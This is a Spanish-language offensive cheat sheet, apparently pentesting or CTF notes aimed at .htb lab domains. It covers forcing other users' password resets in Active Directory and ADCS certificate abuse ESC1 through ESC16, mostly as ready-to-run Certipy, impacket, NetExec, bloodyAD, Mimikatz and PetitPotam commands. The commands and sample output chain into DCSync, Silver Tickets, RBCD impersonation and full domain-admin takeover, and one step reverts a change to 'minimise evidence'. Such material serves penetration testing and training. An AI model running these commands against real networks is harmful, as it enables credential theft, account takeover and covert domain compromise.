impacket-changepasswd domain.htb/victim@dc.domain.htb -newpass 'NewPass01!' -reset -altuser 'attacker' -k -no-pass -dc-ip 10.10.10.10

NetExec

Change Password of a different User

Podemos modificar la contraseña de otro usuario el cual tengamos los permisos suficientes (GenericAll o ForceChangePassword) a través de (NEWPASS) o modificar su hash NTLM (NEWNTHASH).

Modificar contraseña de otro usuario.

User/Password

nxc smb 10.10.10.10 -u 'attacker' -p 'Password01!' -M change-password -o USER=victim NEWPASS='NewPass123!'

Modificar hash NTLM de otro usuario.

User/Password

nxc smb 10.10.10.10 -u 'attacker' -p 'Password01!' -M change-password -o USER=victim NEWNTHASH='01e97f85894e06a5ad698f624b9a7ee9'

Modificar contraseña de otro usuario.

Pass-the-Hash (PtH)

nxc smb 10.10.10.10 -u 'attacker' -H '01e97f85894e06a5ad698f624b9a7ee9' -M change-password -o USER=victim NEWPASS='NewPass123!'

Modificar hash NTLM de otro usuario.

Pass-the-Hash (PtH)

nxc smb 10.10.10.10 -u 'attacker' -H '01e97f85894e06a5ad698f624b9a7ee9' -M change-password -o USER=victim NEWNTHASH='01e97f85894e06a5ad698f624b9a7ee9'

Modificar contraseña de otro usuario.

Kerberos

nxc smb dc.domain.htb --use-kcache -M change-password -o USER=victim NEWPASS='NewPass123!'

Modificar hash NTLM de otro usuario.

Kerberos

nxc smb dc.domain.htb --use-kcache -M change-password -o USER=victim NEWNTHASH='01e97f85894e06a5ad698f624b9a7ee9'

ldap_shell

Deberemos acceder a la interfaz interactiva de ldap_shell, para ello deberemos autenticarnos a través de alguno de los siguientes métodos. Posteriormente al acceder a la terminal de ldap_shell, ejecutaremos el comando correspondiente para modificar la contraseña del usuario.

Authentication on ldap_shell

User/Password

ldap_shell domain.htb/attacker:'Password01!' -dc-ip 10.10.10.10

Si no conocemos el LM Hash, tenemos que indicar (aad3b435b51404eeaad3b435b51404ee) y posteriormente el hash NTLM. Formato --> LMHASH:NTHASH

Pass-the-Hash (PtH)

ldap_shell domain.htb/attacker -hashes 'aad3b435b51404eeaad3b435b51404ee:01e97f85894e06a5ad698f624b9a7ee9' -dc-ip 10.10.10.10

Kerberos

ldap_shell domain.htb/attacker -k -no-pass -dc-host dc.domain.htb -dc-ip 10.10.10.10

Command to use

change_password victim 'NewPass123!'

Proof of Concept (PoC)

rpcclient

User/Password

rpcclient -U 'attacker%Password01!' 10.10.10.10 -c 'setuserinfo victim 23 NewPass123!'

Pass-the-Hash (PtH)

rpcclient -U 'attacker%01e97f85894e06a5ad698f624b9a7ee9' --pw-nt-hash 10.10.10.10 -c 'setuserinfo victim 23 NewPass123!'

net rpc

User/Password

net rpc password 'victim' 'NewPass01!' -U domain.htb/attacker%'Password01!' -S 10.10.10.10

Pass-the-Hash (PtH)

net rpc password 'victim' 'NewPass01!' -U domain.htb/attacker%'01e97f85894e06a5ad698f624b9a7ee9' --pw-nt-hash -S 10.10.10.10

pth-net

User/Password

pth-net rpc password 'victim' 'NewPass123!' -U 'domain.htb/attacker%Password01!' -S 10.10.10.10

Pass-the-Hash (PtH)

pth-net rpc password 'victim' 'NewPass123!' -U 'domain.htb/attacker%afac881b79a524c8e99d2b34f438058b' --pw-nt-hash -S 10.10.10.10

Metasploit

Accedemos a Metasploit a través de (msfconsole -q) y ejecutamos los siguientes comandos. Desde nuestro usuario attacker que dispone del ACL ForceChangePassword sobre el usuario victim, realizaremos el cambio de contraseña.

use auxiliary/admin/ldap/change_password
set rhosts 10.10.10.10
set domain domain.htb
set username attacker
set password Password01!
set target_user victim
set new_password NewPass123!
run

Proof of Concept (PoC)

From Windows

bloodyAD.exe

User/Password

.\bloodyAD.exe --host 10.10.10.10 -d domain.htb -u 'attacker' -p 'password' set password 'victim' 'NewPassword01!'

Pass-the-Hash (PtH)

.\bloodyAD.exe --host 10.10.10.10 -d domain.htb -u 'attacker' -p ':01e97f85894e06a5ad698f624b9a7ee9' set password 'victim' 'NewPassword01!'

Kerberos

.\bloodyAD.exe --host dc.domain.htb -d domain.htb -k set password 'victim' 'NewPassword01!'

PowerView.ps1

powershell -ep bypass

Import-Module .\PowerView.ps1

$user = 'DOMAIN\attacker'; 
$pass= ConvertTo-SecureString 'AttackerPwd' -AsPlainText -Force; 
$creds = New-Object System.Management.Automation.PSCredential $user, $pass;
$newpass = ConvertTo-SecureString 'NewPass123!' -AsPlainText -Force; 
Set-DomainUserPassword -Identity 'DOMAIN\victim' -AccountPassword $newpass -Credential $creds;

Mimikatz

lsadump::setntlm /server:domain.htb /user:victim/password:NewPass123!

Windows Native

CMD

net user victim NewPass123! /domain

PowerShell

Import-Module ActiveDirectory

Set-ADAccountPassword -Identity victim -NewPassword (ConvertTo-SecureString 'NewPass12!' -AsPlainText -Force) -Reset

References

Active Directory Certificate Services (ADCS)

Introduction to ADCS

ADCS es el rol que maneja la emisión de certificados para usuarios, equipos y servicios en la red de Active Directory. Este servicio, si está mal configurado, puede presentar vulnerabilidades que los atacantes podrían explotar para elevar privilegios o acceder a información sensible.

Algunas de las posibles vulnerabilidades que puede tener ADCS son:

Delegación de privilegios en la emisión de certificados: Si ciertos usuarios tienen permisos para emitir certificados para otros, un atacante podría abusar de estos privilegios para obtener permisos elevados.
Mala configuración en las plantillas de certificados: Configuraciones incorrectas en las plantillas de certificados podrían permitir que un atacante solicite un certificado en nombre de otro usuario, incluso uno con privilegios elevados.
NTLM Relaying en HTTP: Si el ADCS acepta autenticación NTLM en lugar de Kerberos, un atacante podría redirigir las solicitudes para ganar acceso.

Componentes principales:

CA (Certification Authority): Emite y gestiona certificados. Puede haber múltiples CAs en una jerarquía.
Certificate Templates: Definen la configuración, permisos y requisitos para emitir certificados.
CES (Certificate Enrollment Server): Permite renovar certificados mediante solicitudes HTTPS.
Certificate Enrollment Policy Web Server: Proporciona información sobre la política de inscripción de certificados.
CA Web Enrollment: Permite que hosts fuera del dominio o con otros sistemas operativos renueven certificados.
NDES (Network Device Enrollment Service): Permite a dispositivos de red obtener certificados sin conexión.

Formatos de certificados X.509:

PEM: Certificado DER codificado en base64; puede almacenar múltiples claves sin protección por contraseña.
DER: Certificado en formato binario crudo.
PFX/P12 (PKCS#12): Almacena claves privadas con protección por contraseña.
P7B (PKCS#7): Almacena certificados de cadena, pero no claves privadas.

Principales atributos de certificados:

Subject: Entidad a la que se emite el certificado.
Issuer: Normalmente la CA.
SAN: Nombre alternativo del sujeto.
Validity Period: Periodo de validez del certificado.
EKU (Extended Key Use): Define usos específicos del certificado.
OID (Object Identifier): Indica el propósito o escenario de uso del certificado.

OID

Uso del certificado

1.3.6.1.5.5.7.3.1

Autenticación de servidor

1.3.6.1.5.5.7.3.2

Autenticación de cliente

1.3.6.1.5.5.7.3.3

Firma de código

1.3.6.1.5.5.7.3.4

Correo electrónico seguro

Proceso de CSR (Certificate Signing Request):

El cliente envía una solicitud de certificado (CSR).
La CA verifica los permisos del cliente para emitir el certificado solicitado.
Si los permisos coinciden, la CA genera y firma el certificado con su clave privada.
El certificado firmado es devuelto al cliente.

Checking Misconfigured Templates

Herramienta que utilizaremos para la escalada de privilegios con los ADCS.

Para verificar si existen plantillas mal configuradas, las cuales podemos abusar, podemos hacer uso del siguiente comando para que nos lo muestre en la terminal.

certipy-ad find -u user@dominio.htb -p 'Password01!' -dc-ip 10.10.10.10 -vulnerable -stdout

Ejemplo de cómo debería salirnos si existe una plantilla mal configurada en el ADCS que podemos intentar explotar. En este ejemplo, nos aparece que podemos realizar la explotación ESC7.

KDC_ERR_PADATA_TYPE_NOSUPP

Es posible que en algún momento obtengamos este mensaje de error al intentar autenticarnos con el certificado PFX del usuario que estamos impersonando, lo que indica que el KDC no admite el tipo de autenticación proporcionado.

KDC_ERR_PADATA_TYPE_NOSUPP

“…when a domain controller doesn’t have a certificate installed for smart cards…” is probably the most common reason for KDC_ERR_PADATA_TYPE_NOSUPP. If the DC doesn’t have a “Domain Controller”, “Domain Controller Authentication”, or another certificate with the Server Authentication EKU (OID 1.3.6.1.5.5.7.3.1) installed, the DC isn’t properly set up for PKINIT and authentication will fail.

Also, according to Microsoft, “This problem can happen because the wrong certification authority (CA) is being queried or the proper CA cannot be contacted in order to get Domain Controller or Domain Controller Authentication certificates for the domain controller.” At least in some cases we’ve been able to auth via PKINIT to a DC even when the CA is not reachable, so this situation may be hit and miss.

If you run into a situation where you can enroll in a vulnerable certificate template but the resulting certificate fails for Kerberos authentication, you can try authenticating to LDAP via SChannel using something like PassTheCert. You will only have LDAP access, but this should be enough if you have a certificate stating you’re a domain admin.

Nos encontramos con varios blogs que mencionan el error KDC_ERR_PADATA_TYPE_NOSUPP, el cual ocurre cuando el controlador de dominio no soporta PKINIT. Esto impide que autenticarnos directamente con el certificado PFX.

Como alternativa, podemos utilizar PassTheCert para autenticarnos a LDAP a través de SChannel con nuestro certificado. Aunque esto solo nos daría acceso a LDAP, podría ser suficiente si el certificado nos identifica como Administrador de Dominio.

Lo primero que haremos será extraer la clave privada y el certificado desde el archivo PFX que obtuvimos del usuario Administrator. Para ello, utilizamos Certipy de la siguiente manera. A continuación, haremos uso de la herramienta PassTheCert.py para autentifcarnos con el certificado obtenido.

certipy-ad cert -pfx administrator.pfx -nokey -out administrator.crt

certipy-ad cert -pfx administrator.pfx -nocert -out administrator.key

Con PassTheCert, utilizamos la clave privada y el certificado generado anteriormente para autenticarnos. En este ejemplo. se nos mostraría el resultado del comando whoami.

Para poder escalar privilegios y buscar otras maneras. podemos obtener una consola LDAP Shell con el parámetro -action ldap-shell.

python3 /opt/PassTheCert/Python/passthecert.py -action whoami -crt administrator.crt -key administrator.key -domain dominio.htb -dc-ip 10.10.10.10

Para ver varios ejemplos del uso de PassTheCert y de cómo logramos obtener acceso al sistema como el usuario Administrator podemos comprobar el siguiente blog.

ESC1

Domain Users Enrollment

Solicitud del certificado con SAN alternativo.

Probar el UPN como administrator@dominio.htb o sino administrator.

# Autenticación con credenciales
certipy-ad req -u user@dominio.htb -p "Password01!" -ca <ca_name> -template <template_name> -upn administrator@domnio.htb -dc-ip 10.10.10.10

certipy-ad req -u user@dominio.htb -p "Password01!" -ca <ca_name> -template <template_name> -upn administrator -dc-ip 10.10.10.10

# Autenticación con hash NLTM realizando PassTheHash
certipy-ad req -u user@dominio.htb -hashes '<NTLM_HASH>' -ca <ca_name> -template <template_name> -upn administrator@domnio.htb -dc-ip 10.10.10.10

certipy-ad req -u user@dominio.htb -hashes '<NTLM_HASH>' -ca <ca_name> -template <template_name> -upn administrator -dc-ip 10.10.10.10

# Autenticación mediante Kerberos (necesario disponer de TGT/.ccache file en KRB5CCNAME)
certipy-ad req -k -no-pass -ca <ca_name> -template <template_name> -upn administrator@domnio.htb -dc-ip 10.10.10.10 -target dc.dominio.htb

certipy-ad req -k -no-pass  -ca <ca_name> -template <template_name> -upn administrator -dc-ip 10.10.10.10 -target dc.dominio.htb

En caso de recibir error de The NETBIOS connection with de remote host timed out, probar de nuevo a ejecutarlo.

Autenticación con certificado.

certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.10.10 -d dominio.htb

Domain Computers (Machine Account)

En algunas ocasiones, es posible que exista la ESC1 pero solamente se pueda realizar a través de algún Domain Computer. En este resultado de adPEAS se comprueba que solamente los Domain Computers tienen permisos de enrollment sobre la plantilla vulnerable para realizar el ESC1.

[?] +++++ Checking Template 'CorpVPN' +++++
[!] Template 'CorpVPN' has Flag 'ENROLLEE_SUPPLIES_SUBJECT'
[+] Identity 'HTB\Domain Computers' has enrollment rights for template 'CorpVPN'

Por lo tanto, hay que disponer de las credenciales de un equipo, que se pueden obtener de diversas maneras. En caso de que podemos añadir nuevas máquinas al dominio, podemos realizar lo siguiente a través de la herramienta de PowerView.py.

powerview dominio.htb/'user':'password'@10.10.10.10 --dc-ip 10.10.10.10

PV > Add-ADComputer -ComputerName Gzzcoo -ComputerPass Gzzcoo123

Una vez dispongamos de acceso a autenticarnos como un Domain Computer, realizaremos el ataque. Sustituir Gzzcoo$ por el nombre del PC y la contraseña Gzzcoo123 por la correspondiente.

certipy-ad req -u 'Gzzcoo$'@dominio.htb -p 'Gzzcoo123' -ca <ca_name> -template <template_name> -upn administrator@domnio.htb -dc-ip 10.10.10.10

certipy-ad req -u 'Gzzcoo$'@dominio.htb -p 'Gzzcoo123' -ca <ca_name> -template <template_name> -upn administrator -dc-ip 10.10.10.10

Autenticación con certificado.

certipy-ad auth -pfx administrator.pfx -username Administrator -domain dominio.htb

ESC2

Solicitud del certificado con SAN alternativo.

certipy-ad req -u user@dominio.htb -p "Password01!" -ca <ca_name> -template <template_name> -upn user

Autenticación con certificado.

certipy-ad auth -pfx administrator.pfx -username administrator -dc-ip 10.10.10.10 -d dominio.htb

Verificación.

KRB5CCNAME=administrator.ccache wmiexec.py dominio.htb/administrator@dc.dominio.htb -k -no-pass

ESC3

Solicitar un certificado.

certipy-ad req -u user@dominio.htb -p "Password01!" -ca <ca_name> -template <template_name> /altname:administrator@dominio.htb

Solicitar un certificando suplantando al Administrator.

certipy-ad req -u user@dominio.htb -p "Password01!" -ca <ca_name> -template <template_name> -on-behalf-of 'dominio.htb\administrator' -pfx user.pfx

ESC4

En caso de recibir error de The NETBIOS connection with de remote host timed out, probar de nuevo a ejecutar los comandos.

Atacando a la plantilla vulnerable a ESC4.

# Autenticación con credenciales
certipy-ad template -u 'user@dominio.htb' -p 'Password01!' -template <template_name> -save-old -dc-ip 10.10.10.10

# Autenticación con hash NLTM realizando PassTheHash
certipy-ad template -u 'user@dominio.htb' -hashes '<NTLM_HASH>' -template <template_name> -save-old -dc-ip 10.10.10.10

# Autenticación mediante Kerberos (necesario disponer de TGT/.ccache file en KRB5CCNAME)
certipy-ad template -k -no-pass -template <template_name> -save-old -dc-ip 10.10.10.10 -target dc.dominio.htb

Verificar plantilla ESC4 después de la modificación.

# Autenticación con credenciales
certipy-ad find -u 'user@dominio.htb' -p 'Password01!' -dc-ip 10.10.10.10 -vulnerable -stdout

# Autenticación con hash NLTM realizando PassTheHash
certipy-ad find -u 'user@dominio.htb' -hashes '<NTLM_HASH>' -dc-ip 10.10.10.10 -vulnerable -stdout

# Autenticación mediante Kerberos (necesario disponer de TGT/.ccache file en KRB5CCNAME)
certipy-ad find -k -no-pass -dc-ip 10.10.10.10 -vulnerable -stdout

Abusando de la plantilla modificada.

# Autenticación con credenciales
certipy-ad req -u 'user@dominio.htb' -p 'Password01!' -ca <ca_name> -template <template_name> -upn Administrator -dc-ip 10.10.10.10

# Autenticación con hash NLTM realizando PassTheHash
certipy-ad req -u 'user@dominio.htb' -hashes '<NTLM_HASH>' -ca <ca_name> -template <template_name> -upn Administrator -dc-ip 10.10.10.10

# Autenticación mediante Kerberos (necesario disponer de TGT/.ccache file en KRB5CCNAME)
certipy-ad req -k -no-pass -ca <ca_name> -template <template_name> -upn Administrator -dc-ip 10.10.10.10 -target dc.dominio.htb

Recuperando el hash NTLM del usuario Administrator.

certipy-ad auth -pfx administrator.pfx -domain domain.htb

Volviendo la plantilla ESC4 al estado original.

# Autenticación con credenciales
certipy-ad template -u 'user@dominio.htb' -p 'Password01!' -template <template_name> -configuration <template_name>.json

# Autenticación con hash NLTM realizando PassTheHash
certipy-ad template -u 'user@dominio.htb' -hashes '<NTLM_HASH>' -template <template_name> -configuration <template_name>.json

# Autenticación mediante Kerberos (necesario disponer de TGT/.ccache file en KRB5CCNAME)
certipy-ad template -k -no-pass -template <template_name> -configuration <template_name>.json -target dc.dominio.htb

ESC5

Solicitar el certificado del Domain Admin.

certipy-ad req -u 'user@dominio.htb' -p 'Password01!' -dc-ip <ip> -ns <ip> -dns-tcp -target-ip <ip> -ca <ca_name> -template <template> -upn Administrator

Emitir el certificado solicitado.

En este caso, aprobamos la solicitud anterior especificando el ID de la solicitud con la opción -issue-request 10.

certipy-ad ca -u 'user@dominio.htb' -p 'Password01!' -dc-ip <ip> -ns <ip> -dns-tcp -target-ip <ip> -ca <ca_name> -issue-request 10

Recuperar el certificado emitido.

certipy-ad req -u 'user@dominio.htb' -p 'Password01!' -dc-ip <ip> -ns <ip> -dns-tcp -target-ip <ip> -ca <ca_name> -retrieve 10

Autenticarse con el certificado del Administrator.

certipy-ad auth -pfx administrator.pfx -username administrator -domain dominio.htb -dc-ip <ip> -ns <ip> -dns-tcp

ESC6

Solicitud de certificado con UPN alternativo, en este caso, el usuario Administrator.

certipy-ad req -u 'user@dominio.htb' -p 'Password01!' -ca <ca_name> -target <ip> -template <template_name> -upn administrator@dominio.htb

ESC7

Requisitos previos

Para que esta técnica funcione, el usuario también debe tener el derecho de acceso Administrar certificados y la plantilla de certificado SubCA debe estar habilitada. Con el derecho de acceso Administrar CA, podemos cumplir con estos requisitos previos.

La técnica se basa en el hecho de que los usuarios con el derecho de acceso Administrar CA y Administrar certificados pueden emitir solicitudes de certificado fallidas. La plantilla de certificado SubCA es vulnerable a ESC1, pero solo los administradores pueden inscribirse en la plantilla. Por lo tanto, un usuario puede solicitar inscribirse en la SubCA (que será denegada) pero luego el administrador la emitirá.

Si solo tiene el derecho de acceso Administrar CA, puede otorgarse el derecho de acceso Administrar certificados agregando a su usuario como un nuevo funcionario.

certipy-ad ca -ca '<ca_name>' -add-officer 'User' -u 'user@dominio.htb' -p 'Password01!'

La plantilla SubCA se puede habilitar en la CA con el parámetro -enable-template. De manera predeterminada, la plantilla SubCA está habilitada.

certipy-ad ca -ca '<ca_name>' -enable-template SubCA -u 'user@dominio.htb' -p 'Password01!'

Ataque

Si hemos cumplido con los requisitos previos para este ataque, podemos comenzar solicitando un certificado basado en la plantilla SubCA.

Esta solicitud será rechazada, pero guardaremos la clave privada y anotaremos el ID de la solicitud.

certipy-ad req -u 'user@dominio.htb' -p 'Password01!' -ca '<ca_name>' -target dc.dominio.htb -template SubCA -upn administrator@dominio.htb

Con Administrar CA y Administrar certificados, podemos emitir la solicitud de certificado fallida con el comando ca y el parámetro -issue-request.

certipy-ad ca -ca '<ca_name>' -issue-request <ID> -u 'user@dominio.htb' -p 'Password01!'

Y finalmente, podemos recuperar el certificado emitido con el comando req y el parámetro -retrieve . Obtenemos el certificado del Administrator.

certipy-ad req -u 'user@dominio.htb' -p 'Password01!' -ca '<ca_name>' -target dc.dominio.htb -retrieve <ID>

ESC8

Certipy relay

certipy-ad relay -target <adcs_ip> -template <machine_template>

Realizar la Autenticación Coercion (desde otra terminal)

Esto nos dará el certificado y la clave privada del usuario.

coercer coerce -l <your_ip> -t <adcs_ip> -u 'user@dominio.htb' -p 'Password01!' -d dominio.htb -v

Solicitar un TGT como máquina de equipo (o Domain Controller)

certipy-ad auth -pfx machine_account.pfx

Esto nos dará el hash NTLM del usuario, que podemos usar para autenticarnos.

Dependiendo de la situación, ahora tenemos 2 ataques posibles...

DCSync (si disponemos de permisos de Administradores del dominio)

Realizando DCSync Attack utilizando el hash NTLM como Domain Controller.

impacket-secretsdump 'DC$@dominio.htb' -hashes :<NTLM_HASH> -dc-ip 10.10.10.10

Silver Ticket (utilizando el hash NTLM de una cuenta de equipo)

Creación del Silver Ticket

impacket-ticketer -nthash <nt_hash> -domain-sid <domain_sid> -domain dominio.htb -spn <spn> Administrator

Realizando PassTheTicket con PsExec

KRB5CCNAME=administrator.ccache impacket-psexec -k -no-pass -target machine.dominio.htb

ESC9

Requisitos:

GenericWrite o GenericAll sobre cualquier A para comprometer a la cuenta B.

En este caso 'hacker' dispone de los privilegios sobre 'victim'. El usuario 'victim' tiene permisos para realizar el ESC9.

Conseguir hash NTLM del usuario 'victim' a través de ShadowCredentials ya que el usuario 'hacker' dispone de los permisos necesarios sobre el usuario 'victim'.

certipy-ad shadow auto -username hacker@dominio.htb -p 'Password01!' -account victim

Utilizamos Certipy para actualizar el UPN de la cuenta 'victim', asignándole el valor de Administrator. Esto nos permite asociar cualquier certificado emitido a 'victim' con la identidad de Administrator:

certipy-ad account update -username hacker@dominio.htb -p 'Password01!' -user victim -upn administrator

Solicitamos un certificado utilizando la plantilla vulnerable. Este certificado se emitió con el UPN de Administrator, habilitando su uso para autenticación con privilegios elevados.

certipy-ad req -username victim@dominio.htb -hashes <NTLM_HASH> -dc-ip 10.10.10.10 -ca <ca_name> -template <template_name>

Posteriormente, restauramos el UPN de 'victim' a su valor original para minimizar evidencias de la modificación realizada.

certipy-ad account update -username hacker@dominio.htb -p 'Password01!' -user victim -upn victim@dominio.htb

Seguidamente utilizamos el certificado emitido para autenticarnos y verificamos que obtenemos el hash NTLM del usuario "Administrator".

certipy-ad auth -pfx administrator.pfx -domain dominio.htb

ESC10

Caso 1

Requisitos:

GenericWrite o GenericAll sobre cualquier A para comprometer a la cuenta B.

En este caso 'hacker' dispone de los privilegios sobre 'victim'. El usuario 'victim' tiene permisos para realizar el ESC10.

Conseguir hash NTLM del usuario 'victim' a través de ShadowCredentials ya que el usuario 'hacker' dispone de los permisos necesarios sobre el usuario 'victim'.

certipy-ad shadow auto -username hacker@dominio.htb -p 'Password01!' -account victim

Modificar el UPN del usuario 'victim' al usuario Administrator.

certipy-ad account update -username hacker@dominio.htb -p 'Password01!' -user victim -upn Administrator

Solicitud del certificado.

certipy-ad req -username victim@dominio.htb -hashes <NTLM_HASH> -ca <ca_name> -template <template_name>

Revertiremos los cambios del usuario 'victim' (para asegurarse de que solo el administrador coincida con el certificado)

certipy-ad account update -username hacker@dominio.htb -p 'Password01!' -user victim -upn victim@dominio.htb

Autenticarse como usuario Administrator.

certipy-ad auth -pfx administrator.pfx -domain dominio.htb

Caso 2

Requisitos:

GenericWrite o GenericAll sobre cualquier A para comprometer a la cuenta B sin que disponga un userPrincipalName (cuentas de máquina y administrador de dominio integrado Administrador.

En este caso 'hacker' dispone de los privilegios sobre 'victim' y deseamos comprometer el Domain Controller DC$@domain.htb.

Conseguir hash NTLM del usuario 'victim' a través de ShadowCredentials ya que el usuario 'hacker' dispone de los permisos necesarios sobre el usuario 'victim'.

certipy-ad shadow auto -username hacker@dominio.htb -p 'Password01!' -account victim

Modificamos el UPN del usuario 'victim' a 'DC$@dominio.htb'.

certipy-ad account update -username hacker@dominio.htb -p 'Password01! -user victim -upn 'DC$@dominio.com'

Solicitamos un certificado como 'victim' para obtener el certificado del Domain Controller (DC).

certipy-ad req -username victim@dominio.htb -hashes <NTLM_HASH> -ca <ca_name> -template <template_name>

Revertir los cambios de 'victim' (para asegurarse de que solo el administrador coincida con el certificado).

certipy-ad account update -username hacker@dominio.htb -p 'Password01!' -user victim -upn victim@dominio.htb

Autenticación con el certificado del DC.

certipy-ad auth -pfx <dc_machine_name>.pfx -domain dominio.htb -dc-ip 10.10.10.10 -ldap-shell

Creación de una nueva cuenta de equipo.

add_computer <new_account_name> <new_account_pass>
set_rbcd <dc_machine_name>$ <new_account_name>$

Abusar de RBCD (Resource Based Constrained Delegation) para impersonar al Administrator.

impacket-getST -spn cifs/<dc_machine_name>$@dominio.htb -impersonate Administrator -dc-ip 10.10.10.10 dominio.htb/'<new_account_name>$':<new_account_pass>

Autenticarse utilizando el TGT del usuario Administrator.

KRB5CCNAME=administrator.ccache wmiexec.py dominio.htb/administrator@dc.dominio.htb -k -no-pass

ESC11

Configuramos el relay

certipy-ad relay -target 'rpc://<adcs_address>' -ca <ca_name> -template DomainController

Autenticación Coerce con PetitPotam

python3 PetitPotam.py -u <user> -p <pass> -d <domain> <target_ip_address> <listener_address>

Certipy recibe autenticación del DC de AD

certipy-ad relay -target 'rpc://<adcs_address>' -ca <ca_name> -template DomainController

A continuación, se deberá realizarlos pasos del ESC8

ESC12

ESC13

Desde sistemas tipo UNIX, esta solicitud de extracción en Certipy (Python) permite identificar una plantilla de certificado con una política de emisión, es decir, con la propiedad msPKI-Certificate-Policy no vacía. Además, verifica si esta política de emisión tiene un enlace de grupo OID a un grupo en la propiedad msDS-OIDToGroupLink.

certipy-ad find -u '$USER@$DOMAIN' -p '"$PASSWORD' -dc-ip '$DC_IP'

Si se encuentra una plantilla vulnerable, no hay ningún requisito de emisión particular, el principal puede inscribirse y la plantilla indica el EKU de autenticación del cliente; solicite un certificado para esta plantilla con Certipy (Python) como de costumbre:

certipy-ad req -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -target "$ADCS_HOST" -ca 'ca_name' -template 'Vulnerable template'

Luego, el certificado se puede usar con Pass-the-Certificate para obtener un TGT y autenticarse como el principal controlado, pero con sus privilegios agregados a los del grupo vinculado.

ESC14

Scenario A: Write altSecurityIdentities on Target

Comprobar que con el usuario (userA) tengamos permisos de escritura en el atributo altSecurityIdentities en el usuario TARGET (userB).

❯ bloodyAD --host 10.10.10.10 -d gzzcoo.htb -u 'userA' -p 'password' get writable --detail

distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=gzzcoo,DC=htb
url: WRITE
wWWHomePage: WRITE

distinguishedName: CN=userA,CN=Users,DC=gzzcoo,DC=htb

...[SNIP]...

distinguishedName: CN=userB,OU=Users,DC=gzzcoo,DC=htb
altSecurityIdentities: WRITE

Crearemos un nuevo Domain Computer.

❯ powerview gzzcoo.htb/user:'password'@10.10.10.10 --dc-ip 10.10.10.10
Logging directory is set to /home/gzzcoo/.powerview/logs/gzzcoo
[2025-04-23 10:21:44] [Storage] Using cache directory: /home/gzzcoo/.powerview/storage/ldap_cache
(LDAPS)-[dc01.gzzcoo.htb]-[GZZCOO\user]
PV > Add-ADComputer -ComputerName gzzcoo -ComputerPass Gzzcoo123
[2025-04-23 10:22:01] Successfully added machine account gzzcoo$ with password Gzzcoo123.
(LDAPS)-[dc01.gzzcoo.htb]-[GZZCOO\user]

Autenticamos con el Domain Computer recién creado para obtener su PFX.

❯ certipy-ad req -username 'gzzcoo$'@gzzcoo.htb -password 'Gzzcoo123' -ca <CA> -template Machine -target 10.10.10.10 -dc-ip 10.10.10.10
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 15
[*] Got certificate with DNS Host Name 'gzzcoo.gzzcoo.htb'
[*] Certificate object SID is 'S-1-5-21-74879546-916818434-740295365-9101'
[*] Saved certificate and private key to 'gzzcoo.pfx'

Obtener el .crt del certificado PFX del Domain Computer recién creado.

❯ certipy-ad cert -pfx gzzcoo.pfx -nokey -out gzzcoo.crt
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Writing certificate and  to 'gzzcoo.crt'

Script para obtener el X509 a travésdel issuer y el serial.

x509.py

import sys
from cryptography.hazmat.primitives.serialization import pkcs12
from cryptography import x509
from cryptography.hazmat.backends import default_backend

def format_serial_le(serial_int):
    hex_serial = format(serial_int, 'x').zfill(2)
    if len(hex_serial) % 2 != 0:
        hex_serial = '0' + hex_serial
    bytes_pairs = [hex_serial[i:i+2] for i in range(0, len(hex_serial), 2)]
    return ''.join(reversed(bytes_pairs))

def parse_issuer(cert):
    oid_map = {
        'commonName': 'CN',
        'countryName': 'C',
        'organizationName': 'O',
        'organizationalUnitName': 'OU',
        'stateOrProvinceName': 'ST',
        'localityName': 'L',
        'domainComponent': 'DC'
    }

    issuer = cert.issuer
    issuer_parts = []
    for attribute in issuer:
        oid = attribute.oid._name
        key = oid_map.get(oid, oid)
        value = attribute.value
        issuer_parts.append(f"{key}={value}")
    return ",".join(issuer_parts)

def get_cert_info(path):
    with open(path, 'rb') as f:
        data = f.read()

    if path.endswith('.pfx'):
        private_key, cert, _ = pkcs12.load_key_and_certificates(data, password=None, backend=default_backend())
    else:
        cert = x509.load_pem_x509_certificate(data, backend=default_backend())

    serial_le = format_serial_le(cert.serial_number)
    issuer = parse_issuer(cert)

    print(f"X509:<I>{issuer}<SR>{serial_le}")

if __name__ == '__main__':
    if len(sys.argv) != 2:
        print("Uso: python3 x509.py file.pfx|file.crt")
        sys.exit(1)
    get_cert_info(sys.argv[1])

Resultado obtenido al ejecutar el script.

❯ python3 x509.py gzzcoo.pfx
X509:<I>DC=htb,DC=gzzcoo,CN=gzzcoo-DC01-CA<SR>0b00000000005faf85c9569c62400b00000062

Modificamos el atributo altSecurityIdentities del userB a través del userA ya que disponemos de permisos y le asignamos el valor X509 anteriormente obtenido.

❯ bloodyAD --host 10.10.10.10 -d gzzcoo.htb -u 'userA' -p 'password' set object 'userB' altSecurityIdentities -v 'X509:<I>DC=htb,DC=gzzcoo,CN=gzzcoo-DC01-CA<SR>0b00000000005faf85c9569c62400b00000062'
[+] userB's altSecurityIdentities has been updated

Una vez modificado, nos autenticamos con el PFX del Domain Computer creado impersonando al userB, obtenemos su hash NTLM y su TGT (.ccache).

❯ certipy-ad auth -pfx gzzcoo.pfx -dc-ip 10.10.10.10 -domain gzzcoo.htb -username 'userB'
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[!] The provided username does not match the identification found in the provided certificate: 'USERB' - 'gzzcoo$'
Do you want to continue? (Y/n) Y
[*] Using principal: userB@gzzcoo.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'userB.ccache'
[*] Trying to retrieve NT hash for 'userB'
[*] Got hash for 'userB@gzzcoo.htb': aad3b5b5789c4b14789c4b04ee:1b92789c4b5c524f789c4b44789c4b118ce0

ESC15

ESC16

Nota muy importante: disponer de la última versión de certipy para que aparezca. Actualmente (5.0.2)

certipy-ad find -u attacker@domain.htb -p 'Password01!' -dc-ip 10.10.10.10 -vulnerable -stdout

Output:

Certificate Authorities
  0
    CA Name                             : CORP-CA
    DNS Name                            : CA.CORP.LOCAL
    ...
    Request Disposition                 : Issue
    ...
    Disabled Extensions                 : 1.3.6.1.4.1.311.25.2
    ...
    Permissions
      Access Rights
        ...
        Enroll                          : CORP.LOCAL\Authenticated Users
    [+] User Enrollable Principals      : CORP.LOCAL\Authenticated Users
    [!] Vulnerabilities
      ESC16                             : Security Extension is disabled.
    [*] Remarks
